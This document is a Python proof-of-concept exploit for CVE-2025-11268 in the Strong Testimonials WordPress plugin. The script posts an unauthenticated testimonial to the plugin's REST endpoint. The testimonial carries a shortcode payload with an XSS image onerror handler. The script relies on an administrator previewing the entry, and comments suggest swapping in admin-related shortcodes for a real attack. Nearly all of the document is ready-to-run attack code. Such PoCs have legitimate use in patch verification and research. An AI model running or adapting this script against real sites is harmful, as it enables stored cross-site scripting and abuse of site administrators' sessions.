CVE-2025-11268

import requests # CVE-2025-11268 PoC - Arbitrary Shortcode Execution in Strong Testimonials # Target: WordPress site with Strong Testimonials plugin <= 3.2.16 TARGET_URL = "http://target-wordpress-site.com" # Get the testimonial submission form URL FORM_URL = f"{TARGET_URL}/wp-json/wp/v2/strong_testimonials/submit" # Malicious shortcode payload # This example uses a simple shortcode to demonstrate the vulnerability # In real attack, attacker could use admin-related shortcodes or other dangerous ones MALICIOUS_PAYLOAD = "[caption width='1' caption='<img src=x onerror=alert(1)>']Test[/caption]" def exploit_cve_2025_11268(): """ Exploit for CVE-2025-11268: Arbitrary Shortcode Execution Attack Vector: 1. Attacker submits a testimonial containing malicious shortcode 2. Attacker tricks administrator to preview/publish the testimonial 3. Malicious shortcode gets executed via do_shortcode() Note: Requires admin interaction to trigger execution """ # Payload for testimonial submission data = { 'name': 'Attacker', 'email': '[email protected]', 'message': MALICIOUS_PAYLOAD, 'category_id': 1 } try: # Submit malicious testimonial (unauthenticated) response = requests.post(FORM_URL, data=data, timeout=10) if response.status_code == 200: print("[+] Malicious testimonial submitted successfully") print("[*] Wait for admin to preview/publish the testimonial") print("[*] When triggered, the shortcode will be executed") else: print(f"[-] Failed to submit: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit_cve_2025_11268()

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